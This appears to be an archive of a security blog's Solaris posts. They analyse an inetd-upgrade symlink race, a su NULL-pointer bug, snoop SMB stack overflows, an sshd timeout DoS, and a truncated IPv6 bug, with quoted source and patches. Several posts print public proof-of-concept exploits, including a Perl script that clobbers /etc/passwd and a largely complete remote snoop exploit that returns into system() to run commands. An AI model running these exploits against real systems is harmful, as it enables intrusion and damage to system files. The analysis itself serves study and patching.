xorl %eax, %eax

Archive for the ‘solaris’ Category

Solaris 10 inetd-upgrade Symbolic Link Race Condition

leave a comment »

This was a simple and nice vulnerability discovered by Larry W. Cashdollar as we can see in his email to the Bugtraq mailing list. The buggy code was part of /lib/svc/method/inetd-upgrade shell script and specifically in the below part.

# The Following blocks of code cause the inetconv generated services to be
# re-generated, so that the latest inetconv modifications are applied to all
# services generated by it.

inetdconf_entries_file=/tmp/iconf_entries.$$
 
# Create sed script that prints out inetd.conf src line from inetconv generated
# manifest.
cat <<EOF > /tmp/inetd-upgrade.$$.sed
/propval name='source_line'/{
n
s/'//g
p
}
/from the inetd.conf(4) format line/{
n
p
}
EOF

# get list of inetconv generated manifests
inetconv_manifests=`/usr/bin/find /lib/svc/manifest -type f -name \*.xml | \
    /usr/bin/xargs /usr/bin/grep -l "Generated by inetconv"`

# For each inetconv generated manifest determine the instances that should
# be disabled when the new manifests are imported, and generate a file with
# the inetd.conf entries from all the manifests for consumption by inetconv.
   ...
	# add the manifest's inetd.conf src line to file for inetconv
	sed -n -f /tmp/inetd-upgrade.$$.sed $manifest >> \
	    $inetdconf_entries_file
done
 
rm /tmp/inetd-upgrade.$$.sed
 
# Check whether we've ever run inetconv before by looking for the
# configuration file hash.  If we haven't run it before, then we need
# to enable services based on inetd.conf.  If we have, then the
# repository is authoritative.  `unimported' will be 0 if the hash exists.
svcprop -qp hash svc:/network/inetd:default
unimported=$?
 
# Run inetconv on generated file, overwriting previous manifests and values
# in repository.
/usr/sbin/inetconv -f -i $inetdconf_entries_file

As you can see, it generates a temporary file using the parent process’ PID (by utilizing the “$$” BASH internal environment variable). Then, generates the appropriate inetconv manifest, deletes the temporary file and runs it. The problem is that the temporary file name can be easily guessed and it is stored in /tmp where an unprivileged user has write access by default.
Larry W. Cashdollar provided a PoC Perl script to demonstrate the exploitation of this vulnerability.

#!/usr/bin/perl 
$clobber = "/etc/passwd";
while(1) {
open ps,"ps -ef | grep -v grep |grep -v PID |";

while(<ps>) {
@args = split " ", $_;

if (/inetd-upgrade/) { 
        print "Symlinking iconf_entries.$args[1] to  $clobber\n";
        symlink($clobber,"/tmp/iconf_entries.$args[1]");
        exit(1);
   }
 }

}

First it gets a processing listing and if it finds one that includes “inetd-upgrade” string it will create a symbolic link at “/tmp/iconf_entries.” where PID is the PID of the “inetd-upgrade” process that points to “/etc/passwd” file. Due to this vulnerability, this script will modify the contents of /etc/passwd with the newly generated inetd.conf entries.

This was fixed with patch 137097-01 for SPARC and 137098-01 for X86 architectures respectively. The bug report of this issue was the 6392582 with synopsis “Upgrade from S10 FCS to snv_34 wrongly enables CDE RPC services”.

Written by xorl

September 27, 2012 at 15:13

Posted in bugs, solaris

CVE-2010-3503: Solaris su(1) NULL Pointer Dereference

with 5 comments

This vulnerability affects both Solaris 10 (on x86 as well as SPARC) and OpenSolaris. Since there is no reference on credits for this vulnerability in Oracle’s site I’ll assume that SecurityFocus is correct and credit prdelka as the person who discovered and disclosed this bug. In his released notes (sun-su-bug.txt) he discusses everything you need to know for this vulnerability. In any case, I’ll write about it too. :P

So, the buggy code can be found at usr/src/cmd/su/su.c and specifically in the main() function of su(1) utility. Here is the buggy code now…

/*
 * Locale variables to be propagated to "su -" environment
 */
static char *initvar;
static char *initenv[] = {
	"TZ", "LANG", "LC_CTYPE",
 	"LC_NUMERIC", "LC_TIME", "LC_COLLATE",
 	"LC_MONETARY", "LC_MESSAGES", "LC_ALL", 0};
       ...
int
main(int argc, char **argv)
{

       ...
		int j;
       ...
		/*
		 * Fetch the relevant locale/TZ environment variables from
		 * the inherited environment.
		 *
 		 * We have a priority here for setting TZ. If TZ is set in
 		 * in the inherited environment, that value remains top
 		 * priority. If the file /etc/default/login has TIMEZONE set,
 		 * that has second highest priority.
 		 */
 		tznam[0] = '\0';
 		for (j = 0; initenv[j] != 0; j++) {

You can see from the comment what this code does. To do this, it loops through each environment variable defined in the ‘initenv[]‘ array which is defined above. Inside this ‘for’ loop you can read this code:

			if (initvar = getenv(initenv[j])) {
 
 				/*
 				 * Skip over values beginning with '/' for
 				 * security.
 				 */
 				if (initvar[0] == '/')  continue;
 
 				if (strcmp(initenv[j], "TZ") == 0) {
 					(void) strcpy(tznam, "TZ=");
 					(void) strlcat(tznam, initvar,
 					    sizeof (tznam));

 				} else {

It retrives each environment variable using getenv(3) and skips variables beginning with ‘/’ for security purposes. Next, if it finds the “TZ” environment variable (using strcmp(3)) it will copy the appropriate time-zone to it. Otherwise, if this isn’t the “TZ” variable it will execute the ‘else’ code which is shown below.

 					var = (char *)
 					    malloc(strlen(initenv[j])
 					    + strlen(initvar)
 					    + 2);
 					(void) strcpy(var, initenv[j]);
 					(void) strcat(var, "=");
 					(void) strcat(var, initvar);
 					envinit[++envidx] = var;
 				}
 			}
		}

Here, ‘var’ is initialized with the pointer returned by malloc(3). This code is used to allocate heap space for:

strlen(initenv[j]) + strlen(initvar) + 2

And then store the value of the environment variable (which is the ‘initvar’) to the environment variable ‘initenv[]‘. The additional two Bytes are for the NULL termination and “=” character that is used for the assignment.
The bug here is that there is no check on the return value of malloc(3). Consequently, if user could make malloc(3) fail it will result in having a NULL return value as we can read at its man page. Because of this, ‘var’ can be NULL and the subsequent strcpy(3) and strcat(3) copy operations to it will result in a NULL pointer dereference.
prdelka coded a PoC code to demonstrate the vulnerability.

/* Sun Solaris <= 10 'su' NULL pointer exploit
   ===========================================
   because these are so 2009 now. I would exploit
   this but my name is not spender or raptor. Sun
   do not check a call to malloc() when handling
   environment variables in 'su' code. They also
   don't check passwords when using telnet so who
   cares? You have to enter your local user pass
   to see this bug. Enjoy!

   admin@sundevil:~/suid$ ./x
   [ SunOS 5.11 'su' null ptr PoC
   Password:
   Segmentation Fault

  -- prdelka
*/

Here is the code...

#include <stdio.h>
#include <stdlib.h>
#include <sys/resource.h>
#include <sys/fcntl.h>
#include <sys/types.h>
#include <sys/mman.h>

struct {
        rlim_t    rlim_cur;     /* current (soft) limit */
        rlim_t    rlim_max;     /* hard limit */
} rlimit;

int main(int argc,char *argv[]){
        int fd;
        struct rlimit* rlp = malloc(sizeof(rlimit));
        getrlimit(RLIMIT_DATA,rlp);
        char* buf1 = malloc(300000);
        memset(buf1,'A',300000);
        long buf2 = (long)buf1 + 299999;
        memset((char*)buf2,0,1);
        memcpy(buf1,"LC_ALL=",7);
        rlp->rlim_cur = 16400;
        setrlimit(RLIMIT_DATA,rlp);
        char* env[] = {buf1,file,NULL};
        char* args[] = {"su","-",getlogin(),NULL};
        printf("[ SunOS 5.11 'su' null ptr PoC\n");
        execve("/usr/bin/su",args,env);
}

Initially, he allocates space for the resource limit structure using malloc(3). Then, using getrlimit(2) system call he obtains the maximum size of data segment of his process. He allocates a 300KB buffer, initialize it with “A” and NULL terminates it. The first bytes of the allocated buffer are set to “LC_ALL=” and the current resource limit is set to 16.4KB using setrlimit(2). Finally, a new process is spawned that will execute ‘/usr/bin/su’ passing to it the huge “LC_ALL” environment variable. When su(1) will attempt to allocate sufficient space for the “LC_ALL”‘s value it will force malloc(3) to fail since it has a resource limit of 16.4KB while it attempts to allocate 300KB. This will trigger the strcpy(3) and strcat(3) write operations and of course, the NULL pointer dereference.

Written by xorl

October 15, 2010 at 15:08

Posted in bugs, solaris

CVE-2008-0964: Solaris snoop(1M) Multiple Remote Buffer Overflows

with 4 comments

On August 2008 Sun Microsystems disclosed some vulnerabilities on snoop(1M) utility that are remotely exploitable. Those vulnerabilities were sold to iDefense by Gael Delalleau and according to their brief description we can learn the following regarding its exploitation:

Exploitation of these vulnerabilities results in the execution 
of arbitrary code with the privileges of the nobody user. 
In addition, the attacker has access to the raw socket used by 
the snoop program. This allows them to capture any traffic visible 
to the network interface used. 

The bugs are really easy to spot by having a quick look at src/cmd/cmd-inet/usr.sbin/snoop/snoop_smb.c which is the SMB parsing code for snoop(1M) utility. Here is an example of such buffer overflow…

/*
 * Interpret a "Negprot" SMB
 * [X/Open-SMB, Sec. 6.1]
 */
/* ARGSUSED */
static void
interpret_negprot(int flags, uchar_t *data, int len, char *xtra)
{
	int length;
	int bytecount;
	char dialect[256];
       ...
	protodata = (uchar_t *)data + sizeof (struct smb);
	protodata++;			/* skip wordcount */

	if (smbdata->flags & SERVER_RESPONSE) {
       ...
	} else {
		/*
		 * request packet:
		 * short bytecount;
		 * struct { char fmt; char name[]; } dialects
		 */
		bytecount = get2(protodata);
		protodata += 2;
		if (flags & F_SUM) {
			while (bytecount > 1) {
				length = sprintf(dialect, (char *)protodata+1);
				protodata += (length+2);
				bytecount -= (length+2);
			}
       ...

As you can read, ‘protodata’ is a pointer directly to the received SMB packet. For completeness, here are the additional information required to understand the above code.

/*
 * SMB Format (header)
 * [X/Open-SMB, Sec. 5.1]
 */
struct smb {
	uchar_t idf[4]; /*  identifier, contains 0xff, 'SMB'  */
 	uchar_t com;    /*  command code  */
 	uchar_t rcls;   /*  error class  */
 	uchar_t res;
 	uchar_t err[2]; /*  error code  */
 	uchar_t flags;
 	uchar_t flags2[2];
 	uchar_t re[12];
 	uchar_t tid[2];
 	uchar_t pid[2];
 	uchar_t uid[2];
 	uchar_t mid[2];
	/*
 	 * immediately after the above 32 byte header:
 	 *   unsigned char  WordCount;
 	 *   unsigned short ParameterWords[ WordCount ];
 	 *   unsigned short ByteCount;
 	 *   unsigned char  ParameterBytes[ ByteCount ];
 	 */
};
 
/* smb flags */
#define	SERVER_RESPONSE	0x80
     ...
/* Helpers to get short and int values in Intel order. */
static ushort_t
get2(uchar_t *p) {
	return (p[0] + (p[1]<<8));
}

Now if we move back to interpret_negprot() we’ll see that if this SMB packet is not a server response, it will fall to the ‘else’ clause which will initially use get2() to parse this as a request (since it’s not a response) SMB packet. The comment let us know that a request is composed of two members, a signed short that contains the Bytes count and a structure that has a format and a name.
The code continues by incrementing ‘protodata’ to reach the structure and then it enters a ‘while’ loop for the specified bytes if ‘F_SUM’ (which stands for ‘display summary line’) flag is specified. If this is the case, it will attempt to copy the user controlled SMB name to the stack allocated ‘dialect’ buffer which has size of 256 bytes using sprintf(3)!
Obviously, a user can send a request with a name larger than 256 bytes and thus overflow the ‘dialect’ buffer and execute arbitrary code in the context of snoop(1M).
Of course, this was patched by replacing the sprintf(3) call with snprintf(3) that performs bound checks given a correct size limit. Here is the patch for the above bug…

			while (bytecount > 1) {
-				length = sprintf(dialect, (char *)protodata+1);
+				length = snprintf(dialect, sizeof (dialect),
+				    "%s", (char *)protodata+1);
				protodata += (length+2);
+				if (protodata >= data+len)
+					break;
				bytecount -= (length+2);
			}

So, the patch is quite simple but you’ll probably wonder where are the “multiple” memory corruption vulnerabilities, ok… Let’s start..
In interpret_trans() there is another buffer overflow in case of a request with “display detail lines” flag enabled (this is the F_DTAIL one) that doesn’t use Unicode. Here is this one:

/*
 * Interpret a "trans" SMB
 * [X/Open-SMB, Appendix B]
 *
 * This is very much like "trans2" below.
 */
/* ARGSUSED */
static void
interpret_trans(int flags, uchar_t *data, int len, char *xtra)
{
      ...
	char filename[256];
      ...
	if (flags & F_DTAIL && !(smb->flags & SERVER_RESPONSE)) {
		/* This is a CALL. */
      ...
		/* Finally, print the byte parameters. */
		if (isunicode) {
      ...
		} else {
			strcpy(filename, (char *)byteparms);
		}

Yes, this is an strcpy(3) stack overflow (what year did this bug discovered?). Obviously, this one was patched like this:

		} else {
-			strcpy(filename, (char *)byteparms);
+			strlcpy(filename, (char *)byteparms, sizeof (filename));
		}

The next two overflows are part of interpret_tconX() routine which you can see below:

/*
 * Interpret a "TconX" SMB
 * [X/Open-SMB, Sec. 11.4]
 */
/* ARGSUSED */
static void
interpret_tconX(int flags, uchar_t *data, int len, char *xtra)
{
      ...
	char tempstring[256];
      ...
	if (flags & F_SUM && !(smbdata->flags & SERVER_RESPONSE)) {
		tcondata += 6;
		passwordlength = get2(tcondata);
		tcondata = tcondata + 4 + passwordlength;
		length = sprintf(tempstring, (char *)tcondata);
		sprintf(xtra, "Share=%s ", tempstring);
	}

	if (flags & F_SUM && smbdata->flags & SERVER_RESPONSE) {
		tcondata += 8;
		length = sprintf(tempstring, (char *)tcondata);
		sprintf(xtra, "Type=%s ", tempstring);
	}

This time the only limitation is that it should be a request with summary flag on. The patch as you might have been expecting is…

		tcondata = tcondata + 4 + passwordlength;
-		length = sprintf(tempstring, (char *)tcondata);
+		length = snprintf(tempstring, sizeof (tempstring), "%s",
+		    (char *)tcondata);
		sprintf(xtra, "Share=%s ", tempstring);
	}

	if (flags & F_SUM && smbdata->flags & SERVER_RESPONSE) {
		tcondata += 8;
-		length = sprintf(tempstring, (char *)tcondata);
+		length = snprintf(tempstring, sizeof (tempstring), "%s",
+		    (char *)tcondata);
		sprintf(xtra, "Type=%s ", tempstring);
	}

So, are there more of these? Yes! interpret_tconX() has four more sprintf(3) overflows, interpret_sesssetupX() has eight and even interpret_default() has one while parsing the ‘s’ or ‘S’ values!
There is a public exploit (hoagie_snoop.c) for this by andi of VOID.AT Security which is available here. Let’s have a quick look at it…

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <time.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>

#define MAX_PACKET		4096
#define SMB_COMMAND_TRIGGER	0x72
#define SMB_PORT_DEFAULT	445
#define SMB_TARGET_DEFAULT	"127.0.0.1"
#define	SMB_HEADER_FILLER	0x20

struct target_t {
   char *description;
   int  address;
} targets [] = {
   {
      /* -r-xr-xr-x 1 root bin 580460 2008-04-27 03:51 /usr/sbin/snoop */
      "SunOS 5.11 snv_86 i86pc i386",
      /* system() address */
      0xd2adc2a0
   },

   {
      /* -r-xr-xr-x   1 root     bin       529956 Nov 13  2006 /usr/sbin/snoop */
      "SunOS 5.10 Generic_118833-33 sun4u sparc",
      /* system() address */
      0xff1a7c00
   },

   {
      NULL,
      0,
   }
};

From this we can easily deduce that the exploit will use either of these structures depending on the target machine. Unfortunately, on a system with randomization this method won’t work since system(3)’s address could change. In any case, let’s move on to the usage() function…

/* usage
 * display help screen
 */
void usage(int argc, char **argv) {
   int i;

   printf("usage: %s [-i <id>] [-t <host>] [-c <command>]\n"
          "\n"
	  "-i        id for target\n"
          "-t        host running snoop\n"
	  "-c        command to execute\n"
          "\n\n"
	  "available ids:\n"
          ,
          argv[0]);
   for (i = 0; targets[i].description != NULL; i++) {
      printf("%2d : %s\n", i, targets[i].description);
   }
   exit(1);           
}

So, let’s now have a look at probably the most interesting routine, send_smb_packet()…

/* create_smb_packet
 */
void send_smb_packet(int s,
                     struct sockaddr_in *sin,
                     char smbcommand,
		     char *content) {

   char *packet = (char*)malloc(MAX_PACKET);
   int length = 0;
   struct tcphdr *tcp;
   char *data;
   int r;

   if (packet) {

It allocates 4KB for the packet and the construction begins…

      memset(packet, 0, MAX_PACKET);

      tcp = (struct tcphdr*)packet;
      tcp->source = sin->sin_port;
      tcp->dest = sin->sin_port;
      tcp->doff = sizeof(struct tcphdr) / 4;
      tcp->ack = 1;
      tcp->psh = 1;
      tcp->window = htons(32768);

      data = packet + sizeof(struct tcphdr);

      length = 4;

After clearing the buffer by zeroing it out, it initializes the TCP header using the information passed to it through its arguments, sets ‘data’ to point to the ‘packet’ after the TCP header and initializes ‘length’ to 4 since this is the location where the size of the SMB packet’s data should be, it will be filled at the end. Next, the code goes like this:

      strcpy(data + length, "\xffSMB");
      length += 4;

      /* smb command */
      data[length++] = smbcommand;

The “\xffSMB” is used as an identifier that must start with 0xff and contain the ASCII characters SMB, the length is also incremented by four to move to the next segment of the packet. The next part of the packet will contain whatever SMB command code you want and it continues like this:

      /* status */
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;

As we saw in the SMB header structure, the packet should now contain: error class (1 Byte), result value (1 Byte) and error code (2 Bytes). Since those are useless for our purpose, they’re all filled with ‘SMB_HEADER_FILLER’ which is 0×20. The next part of the header is 1 Byte for flags and another two flags 2…

      /* flags */
      data[length++] = 0x18;

      /* flags2 */
      data[length++] = 0x80;
      data[length++] = 0x01;

The first one is filled with 0×18 (which will return true when masked with either F_DTAIL that is 0×8 as well as F_TIME) and the flags2 with 0×80 which matches with F_DROPS (display drops) and 0×01 which is F_NOW (display in realtime). The next members of the SMB header are:
- 12 Bytes for re[] array

      /* extra field */
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;

- 2 Bytes for the thread ID

      /* tid */
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;

- 2 Bytes for the process ID

      /* client process id */
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;

- 2 Bytes for the user ID

      /* uid */
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;

- 2 Bytes for the message ID

      /* mid */
      data[length++] = SMB_HEADER_FILLER;
      data[length++] = SMB_HEADER_FILLER;

And after the SMB header, the ‘dialect’ structure will be placed since this is a request…

      /* word count */
      data[length++] = SMB_HEADER_FILLER;

      /* byte count */
      data[length++] = strlen(content) & 0xff;
      data[length++] = (strlen(content) >> 8) & 0xff;

      data[length++] = 0x02;

The last assignment is for the ‘format’ member of the ‘dialect’ structure and after this point, the malicious string will be copied in the ‘name[]‘ array’s position which is the exact next one like this:

      if (content) {
         /* content */
         strcpy(data + length, content);
         length += strlen(content);
      }
      data[length++] = 0x00;

The content which is the string that will overflow ‘dialect’ buffer is copied in the packet and NULL termination takes place. Now, the author updates the length bytes that were omitted during the first steps that should normally contain the total size of the data section like this:

      /* set length for smb data */
      data[3] = (length - 4) & 0xff;
      data[2] = ((length - 4) >> 8) & 0xff;

This routine ends by sending the malicious packet using sendto(2) system call…

      /* send packet */
      r = sendto(s, packet, sizeof(struct tcphdr) + length, 0,
                 (struct sockaddr*)sin, sizeof(struct sockaddr_in));
   }

}

The only function left to see is main() which is quite simple, let’s have a look at this one too…

/* main entry
 */
int main(int argc, char **argv) {
   char c;
   char *target = SMB_TARGET_DEFAULT;
   int port = SMB_PORT_DEFAULT;
   int s = 0;
   struct sockaddr_in sin;
   int i = 0;
   char buffer[1024];
   int idx = 0;
   char *command = NULL;

   printf("hoagie_snoop.c - solaris snoop remote\n"
          "-andi / void.at\n\n");

Not really interesting apart from the default target which is 127.0.0.1 :P
Anyway, let’s move on…

   if (argc < 2) {
      usage(argc, argv);
   } else {
      while ((c = getopt (argc, argv, "hvt:p:r:i:c:")) != EOF) {
         switch (c) {
            case 't':
                 target = optarg;
                 break;
            case 'p':
                 port = atoi(optarg);
                 break;
            case 'i':
                 idx = atoi(optarg);
                 break;
            case 'c':
	         command = optarg;
		 break;
            default:
                 printf("[*] unknown command line option '%c'\n", c);
                 exit(-1);
         }
      }
   }

Arguments’ parsing using getopt(3), I don’t think that this requires any explanation so I’m moving on to the next snippet

   s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
   if (s == -1) {
      printf("[*] failed to create raw socket\n");
   } else {
      sin.sin_family = AF_INET;
      sin.sin_port = htons(port);
      sin.sin_addr.s_addr = inet_addr(target);
   
      if (!command) {
         command = "uname -a > /tmp/.patch.your.system.txt";
      }
   
      printf("[*] attacking '%s' on '%s' ...\n", targets[idx].description, target);

Here he creates a raw socket and initializes its socket structure with the appropriate data, also if no command is set by the user the author uses a “uname -a” as the default which is redirected to a file in /tmp/ directory. Next…

      snprintf(buffer, sizeof(buffer), ";%s;", command);
    
      /* char dialect[256] */
      for (i = strlen(buffer); i < 256; i++) { buffer[i] = SMB_HEADER_FILLER; }

Puts the command to the ‘buffer’ array using snprintf(3) and then enters a ‘for’ loop to fill the next 256 Bytes of ‘dialect’ array with dummy bytes. The next operations are also straightforward…

      /* int bytecount */
      buffer[i++] = SMB_HEADER_FILLER;
      buffer[i++] = SMB_HEADER_FILLER;
      buffer[i++] = SMB_HEADER_FILLER;
      buffer[i++] = SMB_HEADER_FILLER;

These are four bytes to overwrite ‘bytecount’ that lies after the overflowed buffer, and then..

      /* int length */
      buffer[i++] = SMB_HEADER_FILLER;
      buffer[i++] = SMB_HEADER_FILLER;
      buffer[i++] = SMB_HEADER_FILLER;
      buffer[i++] = SMB_HEADER_FILLER;

Another four bytes for ‘length’ integer which is also after the buffer (remember, we have to reach the stored EIP), so the story goes on like this…

      /* dummy address */
      buffer[i++] = SMB_HEADER_FILLER;
      buffer[i++] = SMB_HEADER_FILLER;
      buffer[i++] = SMB_HEADER_FILLER;
      buffer[i++] = SMB_HEADER_FILLER;

And finally, after the dummy bytes that GCC places for alignment we have this:

      /* framepointer / ebp */
      buffer[i++] = SMB_HEADER_FILLER;
      buffer[i++] = SMB_HEADER_FILLER;
      buffer[i++] = SMB_HEADER_FILLER;
      buffer[i++] = SMB_HEADER_FILLER;

Yeap, we’ve reached the stored frame pointer! Guess what’s next…

      /* return address */
      buffer[i++] = targets[idx].address & 0xff;
      buffer[i++] = (targets[idx].address >> 8) & 0xff;
      buffer[i++] = (targets[idx].address >> 16) & 0xff;
      buffer[i++] = (targets[idx].address >> 24) & 0xff;

Here the author places the hardcoded address of system(3) as the return address. By doing so, system(3) will attempt to execute whatever it finds in the stack before it. In our case this is a bunch of space ASCII characters (0×20 in hex.) followed by a ‘;’ character and the command you selected. The rest of the code is probably what you’ve been expecting…

      printf("[*] execute '%s' now ...\n", command);
   
      send_smb_packet(s, &sin, SMB_COMMAND_TRIGGER, buffer);
   
      printf("[*] done\n");
      	  
      close(s);
   }

   return 0;
}

The SMB command code passed to send_smb_packet() is 0×72 which in other words means ‘SMBnegprot’. This exploits the first bug discussed in this post inside interpret_negprot().

Written by xorl

January 3, 2010 at 17:15

Posted in bugs, solaris

CVE-2009-4075: Solaris sshd(1M) Dangling Thread DoS

leave a comment »

This vulnerability was disclosed by Sun Microsystems on 23 November 2009 and it affects Solaris 10 as well as OpenSolaris based upon builds snv_99 through snv_123. The buggy code resides in usr/src/cmd/ssh/sshd/sshd.c source code file. So, as you can see below…

/*
 * Main program for the daemon.
 */
int
main(int ac, char **av)
{
	extern char *optarg;
    ...
	/*
	 * We don\'t want to listen forever unless the other side
	 * successfully authenticates itself.  So we set up an alarm which is
	 * cleared after successful authentication.  A limit of zero
	 * indicates no limit. Note that we don\'t set the alarm in debugging
	 * mode; it is just annoying to have the server exit just when you
	 * are about to discover the bug.
	 */
	(void) signal(SIGALRM, grace_alarm_handler);
	if (!debug_flag)
		(void) alarm(options.login_grace_time);
    ...
	 * The child is about to start the first key exchange while the monitor
	 * stays in altprivsep_start_and_do_monitor() function.
    ...
	/*
	 * Start the monitor. That way both processes will have their own
	 * PKCS#11 sessions. See the PKCS#11 standard for more information on
	 * fork safety and packet.c for information about forking with the
	 * engine.
	 */
	altprivsep_start_and_do_monitor(options.use_openssl_engine,
	    inetd_flag, newsock, startup_pipe);
    ...
authenticated:
	
	/* Authentication complete */
	(void) alarm(0);
	/* we no longer need an alarm handler */
	(void) signal(SIGALRM, SIG_DFL);

	if (startup_pipe != -1) {
		(void) close(startup_pipe);
		startup_pipe = -1;
	}

	/* ALTPRIVSEP Child */

This is part of the main code of the SSH daemon, in the above snippet you can read that it initializes an alarm signal handler with grace_alarm_handler() routine which is basically just this:

/*
 * Signal handler for the alarm after the login grace period has expired.
 */
static void
grace_alarm_handler(int sig)
{
	/* XXX no idea how fix this signal handler */

	/* Log error and exit. */
	fatal("Timeout before authentication for %s", get_remote_ipaddr());
}

However, this signal handler affects the unprivileged child but the monitor that is being later initialized also uses an event on that communication pipe. This could result in a DoS situation because of the dangling child thread in case of a time-out and consequently, exit because of the monitor.
To fix this, the patch updated various routines, first of all the above signal handler was updated to include more useful comments as you can read below.

/*
-* Signal handler for the alarm after the login grace period has expired.
+* Signal handler for the alarm after the login grace period has expired. This
+* is for the (soon-to-be) unprivileged child only. The monitor gets an event on
+* the communication pipe and exits as well.
 */
static void
grace_alarm_handler(int sig)
{
-	/* XXX no idea how fix this signal handler */

	/* Log error and exit. */
-	fatal("Timeout before authentication for %s", get_remote_ipaddr());
+	fatal("Timeout before authentication for %.200s", get_remote_ipaddr());
}

Next, the initialization of the alarm handler was moved a few lines after in order to be able to handle monitor too like this:

-	/*
-	 * We don\'t want to listen forever unless the other side
-	 * successfully authenticates itself.  So we set up an alarm which is
-	 * cleared after successful authentication.  A limit of zero
-	 * indicates no limit. Note that we don\'t set the alarm in debugging
-	 * mode; it is just annoying to have the server exit just when you
-	 * are about to discover the bug.
-	 */
-	(void) signal(SIGALRM, grace_alarm_handler);
-	if (!debug_flag)
-		(void) alarm(options.login_grace_time);

Which was added here:

	packet_set_nonblocking();

	/*
	 * Start the monitor. That way both processes will have their own
	 * PKCS#11 sessions. See the PKCS#11 standard for more information on
	 * fork safety and packet.c for information about forking with the
	 * engine.
+	 *
+	 * Note that the monitor stays in the function while the child is the
+	 * only one that returns.
	 */
	altprivsep_start_and_do_monitor(options.use_openssl_engine,
	    inetd_flag, newsock, startup_pipe);

	/*
+	 * We don't want to listen forever unless the other side successfully
+	 * authenticates itself. So we set up an alarm which is cleared after
+	 * successful authentication. A limit of zero indicates no limit. Note
+	 * that we don't set the alarm in debugging mode; it is just annoying to
+	 * have the server exit just when you are about to discover the bug.
+	 */
+	(void) signal(SIGALRM, grace_alarm_handler);
+	if (!debug_flag)
+		(void) alarm(options.login_grace_time);
+
+	/*
	 * The child is about to start the first key exchange while the monitor
	 * stays in altprivsep_start_and_do_monitor() function.
	 */
	(void) pkcs11_engine_load(options.use_openssl_engine);

Also, the ‘authenticated’ label was removed but this is part of bug ID 6875551 which non-security related.

		do_ssh1_kex();
		authctxt = do_authentication();
	}
-authenticated:
	/* Authentication complete */
	(void) alarm(0);
	/* we no longer need an alarm handler */
	(void) signal(SIGALRM, SIG_DFL);

In addition to this, src/cmd/ssh/libssh/common/packet.c was also changed because of this patch, first to include the following comments…

	DBG(debug("packet_send done"));
}

/*
 * Waits until a packet has been received, and returns its type.  Note that
 * no other data is processed until this returns, so this function should not
 * be used during the interactive session.
+*
+* The function is also used in the monitor to read the authentication context
+* in aps_read_auth_context() via packet_read_seqnr(), before the monitor enters
+* aps_monitor_loop() and starts using the process_input() function.
*/

int
packet_read_seqnr(u_int32_t *seqnr_p)
{

and secondly, to update packet_read_seqnr() function to perform more reliable handling of a possible closed or errorneous read operation on the connection’s socket.

		/* Read data from the socket. */
		len = read(connection_in, buf, sizeof(buf));
		if (len == 0) {
-			log("Connection closed by %.200s", get_remote_ipaddr());
+			if (packet_connection_is_on_socket())
+				log("Connection closed by %.200s",
+				    get_remote_ipaddr());
+			else
+				debug("child closed the communication pipe "
+				    "before user auth was finished");
			fatal_cleanup();
		}
-		if (len < 0)
-			fatal("Read from socket failed: %.100s", strerror(errno));
+		if (len < 0) {
+			if (packet_connection_is_on_socket())
+				fatal("Read from socket failed: %.100s",
+				    strerror(errno));
+			else
+				fatal("Read from communication pipe failed: "
+				    "%.100s", strerror(errno));
+		}
		/* Append it to the buffer. */
		packet_process_incoming(buf, len);
	}
	/* NOTREACHED */
}

Instead of the simple log() and fatal() calls, the daemon will now check the connection using packet_connection_is_on_socket() and only if this returns true, it’ll print the log() error message that the connection was closed, otherwise it’ll print a debugging message using debug() and move the execution flow to fatal_cleanup().
In a similar manner, in case of a read() that returns a negative value it will check the return value of packet_connection_is_on_socket() and it’ll either invoke fatal() because it failed to read from the socket or because of failure in reading from the communication pipe. For better understanding of this patch you’ll need to know exactly what packet_connection_is_on_socket() does. So, this is a function located at src/cmd/ssh/libssh/common/packet.c that returns true if the remote host is connected via socket or false in any other case.
Back to the patch we should now move to src/cmd/ssh/sshd/altprivsep.c which as it is implied by its name is the source code file that includes part of the privilege separation of SSH protocol. First of all, altprivsep_start_and_do_monitor() was changed to include some comments as you can read here:


+/*
+ * Start and execute the code for the monitor which never returns from this
+ * function. The child will return and continue in the caller.
+ */
void
altprivsep_start_and_do_monitor(int use_engine, int inetd, int newsock,
	int statup_pipe)
{
	pid_t aps_child;
	Authctxt *authctxt;

And inside this routine, the alarm signal handler was removed since it is now placed in main() routine of the SSHd as it was shown above. So…

		 *  - PAM cleanup
		 */

-		/*
-		 * Alarm signal handler is for our child only since that's the
-		 * one that does the authentication.
-		 */
-		(void) alarm(0);
-		(void) signal(SIGALRM, SIG_DFL);
		/* this is for MaxStartups and the child takes care of that */
		(void) close(statup_pipe);

Written by xorl

December 6, 2009 at 14:59

Posted in bugs, solaris

OpenSolaris IP(7p) IPv6 Remote NULL Pointer Dereference

leave a comment »

I just saw this “new” vulnerability report. The bug was discovered and fixed by Sun Microsystems and it affects OpenSolaris based upon builds snv_106 through snv_124 on both SPARC and x86 platforms. Here is the vulnerable code path is through tcp_do_getsockname() which resides in common/inet/tcp/tcp.c.

static int
tcp_do_getsockname(tcp_t *tcp, struct sockaddr *sa, uint_t *salenp)
{
        sin_t *sin = (sin_t *)sa;
        sin6_t *sin6 = (sin6_t *)sa;

        switch (tcp->tcp_family) {
    ...
        case AF_INET6:
                if (*salenp < sizeof (sin6_t))
                        return (EINVAL);

                *sin6 = sin6_null;
                sin6->sin6_family = AF_INET6;
                if (tcp->tcp_state >= TCPS_BOUND) {
    ...
                        } else {
